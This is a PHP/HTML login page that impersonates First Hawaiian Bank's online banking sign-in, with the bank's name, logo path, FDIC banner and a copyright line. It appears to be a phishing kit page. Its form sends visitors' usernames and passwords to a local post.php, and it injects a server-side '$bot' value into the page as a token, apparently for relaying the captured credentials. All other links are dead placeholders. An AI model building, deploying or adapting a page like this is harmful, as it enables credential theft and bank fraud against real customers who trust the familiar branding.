<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700;900&family=Playfair+Display:wght@400;600&display=swap" rel="stylesheet">
    <title>First Hawaiian Bank — Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #B31F29;
            --red-dark:   #8a1820;
            --yellow:     #FEC443;
            --yellow-dark:#e0a800;
            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #777;
            --border:     #e0e0e0;
            --white:      #ffffff;
        }

        html, body { height: 100%; font-family: 'Lato', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── FDIC BAR ───────────────────────────────── */
        .fdic-bar {
            background: var(--red);
            padding: 7px 32px;
            display: flex; align-items: center; justify-content: center; gap: 10px;
        }
        .fdic-badge {
            background: #fff; color: var(--red);
            font-size: 9px; font-weight: 900;
            letter-spacing: 0.08em; padding: 2px 4px;
            border-radius: 2px; flex-shrink: 0; line-height: 1.4;
        }
        .fdic-bar span {
            font-size: 12px; color: #fff;
            font-style: italic; font-weight: 400; letter-spacing: 0.01em;
        }

        /* ── MAIN NAV ───────────────────────────────── */
        .main-nav {
            background: #fff;
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 68px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.08);
            position: relative; z-index: 10;
        }
        .nav-logo img { height: 32px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 32px; }
        .nav-links a {
            font-size: 14px; font-weight: 700; color: var(--red);
            text-decoration: none; letter-spacing: 0.01em;
            transition: color 0.15s; position: relative;
        }
        .nav-links a::after {
            content: ''; position: absolute; bottom: -4px; left: 0; right: 0;
            height: 2px; background: var(--red); opacity: 0;
            transition: opacity 0.15s;
        }
        .nav-links a:hover::after { opacity: 1; }
        .nav-right { display: flex; align-items: center; gap: 16px; }
        .nav-right a { font-size: 13px; color: var(--text-sub); text-decoration: none; display: flex; align-items: center; gap: 5px; }
        .btn-login-nav {
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 20px;
            padding: 9px 22px; font-family: 'Lato', sans-serif;
            font-size: 13.5px; font-weight: 700; cursor: pointer;
            letter-spacing: 0.03em; transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-login-nav:hover { background: var(--yellow-dark); box-shadow: 0 3px 10px rgba(254,196,67,0.4); }

        /* ── HERO / BG ──────────────────────────────── */
        .hero {
            flex: 1;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            position: relative;
            display: flex; align-items: center; justify-content: center;
            padding: 48px 20px 80px;
            min-height: calc(100vh - 115px);
        }
        .hero::before {
            content: '';
            position: absolute; inset: 0;
            background: linear-gradient(180deg, rgba(0,0,0,0.18) 0%, rgba(0,0,0,0.08) 100%);
        }

        /* Hero text (left side like reference) */
        .hero-content {
            position: absolute;
            left: 10%;
            top: 38%;
            transform: translateY(-50%);
            z-index: 2;
        }
        .hero-tagline {
            font-family: 'Playfair Display', serif;
            font-size: clamp(28px, 3.5vw, 52px);
            font-weight: 600; color: #fff;
            line-height: 1.15; margin-bottom: 22px;
            text-shadow: 0 2px 12px rgba(0,0,0,0.25);
        }
        .btn-yes {
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 20px;
            padding: 11px 28px; font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 900; cursor: pointer;
            letter-spacing: 0.12em; text-transform: uppercase;
            transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-yes:hover { background: var(--yellow-dark); }

        /* ── LOGIN CARD (floating over hero, right side) ── */
        .login-card-wrap {
            position: relative; z-index: 2;
            margin-left: auto;
            margin-right: 8%;
        }
        .login-card {
            background: #fff;
            width: 340px;
            border-radius: 6px;
            padding: 32px 36px 36px;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18), 0 2px 8px rgba(0,0,0,0.1);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(18px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 20px; text-align: center; }
        .card-logo img { height: 28px; width: auto; display: inline-block; }

        .card-header { margin-bottom: 20px; padding-bottom: 16px; border-bottom: 2px solid var(--red); }
        .card-header h1 { font-size: 18px; font-weight: 700; color: var(--red); letter-spacing: -0.01em; }
        .card-header p { font-size: 12.5px; color: var(--text-muted); margin-top: 4px; }

        .field { margin-bottom: 14px; }
        .field label { display: block; font-size: 12px; font-weight: 700; color: var(--text-sub); margin-bottom: 5px; letter-spacing: 0.03em; text-transform: uppercase; }
        .field input {
            width: 100%; height: 40px; padding: 0 12px;
            border: 1px solid var(--border); border-radius: 4px;
            font-family: 'Lato', sans-serif; font-size: 14px;
            color: var(--text); background: #fff; outline: none;
            transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none;
        }
        .field input::placeholder { color: #ccc; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(179,31,41,0.1); }

        .remember-row { display: flex; align-items: center; gap: 8px; margin-bottom: 6px; }
        .remember-row input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 15px; height: 15px; border: 1.5px solid var(--border);
            border-radius: 3px; background: #fff; cursor: pointer;
            flex-shrink: 0; position: relative;
            transition: background 0.12s, border-color 0.12s;
        }
        .remember-row input:checked { background: var(--red); border-color: var(--red); }
        .remember-row input:checked::after { content: ''; position: absolute; left: 2px; top: 0px; width: 5px; height: 8px; border: 2px solid #fff; border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label { font-size: 12.5px; color: var(--text-sub); cursor: pointer; }

        .forgot-row { text-align: right; margin-bottom: 16px; }
        .forgot-row a { font-size: 12px; color: var(--red); text-decoration: none; font-weight: 700; }
        .forgot-row a:hover { text-decoration: underline; }

        .btn-login {
            width: 100%; height: 42px;
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px;
            font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 900;
            letter-spacing: 0.05em; text-transform: uppercase;
            cursor: pointer; margin-bottom: 18px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
        }
        .btn-login:hover { background: var(--yellow-dark); box-shadow: 0 4px 14px rgba(254,196,67,0.4); transform: translateY(-1px); }
        .btn-login:active { transform: translateY(0); }

        .card-divider { height: 1px; background: var(--border); margin-bottom: 14px; }
        .card-links { display: flex; flex-direction: column; gap: 9px; }
        .card-links a { font-size: 12.5px; color: var(--red); text-decoration: none; font-weight: 700; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { text-decoration: underline; }

        /* ── FOOTER ─────────────────────────────────── */
        .page-footer {
            background: #1a1a1a;
            padding: 18px 40px;
            display: flex; align-items: center; justify-content: space-between;
            gap: 20px; flex-wrap: wrap;
        }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 860px) {
            .hero { flex-direction: column; align-items: center; justify-content: flex-end; padding-bottom: 40px; }
            .hero-content { position: relative; left: auto; top: auto; transform: none; text-align: center; margin-bottom: 28px; }
            .login-card-wrap { margin: 0 auto; }
            .nav-links { display: none; }
            .main-nav { padding: 0 20px; }
        }
        @media (max-width: 500px) { .login-card { width: 100%; padding: 24px 22px 28px; } }
    </style>
</head>
<body>

    <!-- FDIC Bar -->
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <span><em>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</em></span>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Business</a>
            <a href="#">Wealth Management</a>
        </div>
        <div class="nav-right">
            <a href="#">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="18" rx="2"/><line x1="16" y1="2" x2="16" y2="6"/><line x1="8" y1="2" x2="8" y2="6"/><line x1="3" y1="10" x2="21" y2="10"/></svg>
                Appointment
            </a>
            <a href="#">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </a>
            <button class="btn-login-nav">LOG IN</button>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-content">
            <div class="hero-tagline">Say yes to<br>what's next.</div>
            <button class="btn-yes">YES</button>
        </div>

        <div class="login-card-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="First Hawaiian Bank"></div>
                <div class="card-header">
                    <h1>Online Banking Login</h1>
                    <p>Sign in to manage your accounts</p>
                </div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field">
                        <label for="user">Username</label>
                        <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
                    </div>
                    <div class="field">
                        <label for="pass">Password</label>
                        <input type="password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
                    </div>
                    <div class="remember-row">
                        <input type="checkbox" id="remember" name="remember">
                        <label for="remember">Remember me</label>
                    </div>
                    <div class="forgot-row"><a href="#">Forgot username or password?</a></div>
                    <button type="submit" class="btn-login">Log In</button>
                    <div class="card-divider"></div>
                    <div class="card-links">
                        <a href="#">
                            <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>
                            Enroll in Online Banking
                        </a>
                        <a href="#">
                            <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0118 0z"/><circle cx="12" cy="10" r="3"/></svg>
                            Find a branch near you
                        </a>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">Sitemap</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 First Hawaiian Bank. Member FDIC. Equal Housing Lender.</div>
    </footer>

<script src="./res/jq.js"></script>
</body>
</html>